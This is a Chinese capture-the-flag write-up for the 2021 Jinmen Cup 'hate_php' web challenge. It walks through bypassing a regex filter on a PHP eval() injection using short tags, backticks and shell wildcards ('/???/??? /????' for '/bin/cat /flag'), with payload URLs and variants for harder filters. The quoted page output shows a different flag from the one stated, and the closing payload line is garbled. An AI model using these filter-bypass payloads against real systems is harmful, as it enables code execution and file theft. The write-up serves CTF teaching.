Writeup 4 津门杯 2021 Web hate_php
一、题目信息
| 项目 | 内容 |
|---|---|
| 赛事 | 第五届世界智能大会 · 「津门杯」国际网络安全创新大赛 |
| 年份 | 2021 |
| 类别 | Web |
| 题目 | hate_php |
| 考点 | PHP 代码注入、正则绕过、Linux 通配符、PHP 短标签 |
| Flag | ctfhub{2b6d8598e5bd90ecae50f60d} |
二、信息收集
访问目标 URL,页面直接回显源码:
php
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
die('fighting!');
}
eval($code);
}
源码分析
-
入口 :
GET参数code -
过滤 :
preg_match("/[A-Za-z0-9_$@]+/", $code)------ 只要code中出现任意一个- 英文字母(大小写)
- 数字
0-9 - 下划线
_ - 美元符号
$ @符号
就立即
die('fighting!'),终止执行。 -
执行点 :
eval($code)------ 用户可控输入直接进入eval,等同于任意 PHP 代码执行。 -
错误屏蔽 :
error_reporting(0)。
关键结论
- 不能使用字母、数字、
_、$、@。 - 但
?、*、/、反引号 `````、<、>、=、空格等字符未被过滤。 eval()可以执行任意 PHP 代码,包括短标签与反引号。
三、解题思路
1. 为什么选择 Linux 通配符?
- 命令名、路径名必然含字母,但字母被过滤,无法直接写
/bin/cat /flag。 - Linux Shell 在解析命令前会进行 glob 展开 :
?匹配任意单个字符*匹配任意多个字符
- 因此可用
?拼出路径:/???/???→/bin/cat/????→/flag(根目录下 4 字符文件名)
2. 为什么选择 PHP 短标签 + 反引号?
<?=等价于<?php echo,可输出后面表达式的结果。- 反引号 ````` 是 PHP 执行系统命令的运算符(等价于
shell_exec)。 - 二者都不含被过滤的字符。
3. 为什么开头需要 ?>?
eval($code)会把$code当作 PHP 代码解析。- 用
?>先"闭合"当前 PHP 上下文,再用<?=重新进入 PHP,确保短标签被识别。
四、Payload 构造
第一步:探测源码 / 目录(可选)
读取 web 目录下所有文件,辅助定位 flag:
http
http://challenge-db8da7bd2c46f996.sandbox.ctfhub.com:10800/?code=?%3E%3C?=`/???/???%20/???/???/????/*`?%3E
Shell 展开后:
bash
/bin/cat /var/www/html/*
第二步:直接读取 flag
发送请求:
http
http://challenge-db8da7bd2c46f996.sandbox.ctfhub.com:10800/?code=?%3E%3C?=`/???/???%20/????`?%3E
Shell 展开过程:
| 通配符 | 展开结果 | 说明 |
|---|---|---|
/???/??? |
/bin/cat |
? 匹配单字符,bin、cat 均 3 个字符 |
/???? |
/flag |
flag 为 4 个字符 |
最终执行:
bash
/bin/cat /flag
在回显的页面中,摁 Ctrl+F,查找字符串:ctfhub:
在页面的最后一行,找到:
�mn�m���on�o0pnp(@tn@t� !@�n0��' &0��4�4P�Cctfhub{830a4382fb0f830ae749c9fb}
✅ Flag
ctfhub{2b6d8598e5bd90ecae50f60d}
五、最终 Payload
http
?code=?%3E%3C?=`/???/???%20/????`?%3E
六、原理图解
用户请求
│
▼
?code=?><?=`/???/??? /????`?>
│
▼
PHP eval() 解析
│
├─ ?> → 退出 PHP 模式
├─ <?= → 进入 echo 短标签
├─ `...` → 执行系统命令
└─ ?> → 结束
│
▼
Shell 展开通配符
│
├─ /???/??? → /bin/cat
└─ /???? → /flag
│
▼
实际执行: /bin/cat /flag
│
▼
回显: ctfhub{2b6d8598e5bd90ecae50f60d}
七、知识点总结
| 知识点 | 说明 |
|---|---|
PHP 短标签 <?= |
等价 <?php echo,绕过字符限制的常用手段 |
| 反引号 ````` | PHP 中执行 shell 命令的运算符 |
Linux 通配符 ? |
匹配任意单字符,可替代字母绕过过滤 |
Linux 通配符 * |
匹配任意多字符,常用于匹配目录下所有文件 |
eval() 注入 |
用户可控输入进入 eval,等同于任意代码执行 |
| 正则绕过思路 | 过滤字符越少,可用于构造 payload 的"积木"越多 |
| CTF 提交格式 | 本题为 ctfhub{...},非 flag{...} |
八、扩展与变形
1. 如果 ? 也被过滤?
- 改用
*:/bin/cat→/bin/ca*或/bin/*at - 改用字符类:
[a-z]、[abc] - 退化到 PHP 语言层绕过(见下)
2. 如果反引号被过滤?
-
用
system()、exec()、passthru()、shell_exec()、popen()等函数 -
但函数名含字母,需要用 异或 / 取反 / 自增 拼出字符串
-
典型写法:
php$__=('~'^'!').('@'^'#'); // 拼字符串
3. 如果字母数字全过滤且通配符不可用?
- PHP 异或(XOR)构造任意字符串
- PHP 取反
~构造字符串 - 自增运算符
++从'a'逐级拼出'z' - 使用
get_defined_functions()、phpversion()等内置返回值作为字符串来源
4. 如果 flag 文件名不确定?
- 先用
/???/??? /???/???/????/*列出 web 目录 - 尝试常见路径:
/flag、/fl4g、/flag.txt、/f*
九、一句话总结
本题核心:
preg_match只过滤了字母数字_$@,但未过滤 Shell 通配符?和 PHP 短标签 + 反引号。利用 Linux glob 展开/???/???→/bin/cat、/????→/flag,一条 payload 直达 flag。最终 Payload:
?code=?><?=/???/??? /????>Flag:
ctfhub{2b6d8598e5bd90ecae50f60d}
Rambo
2026年10月03日
🎉🎉🎉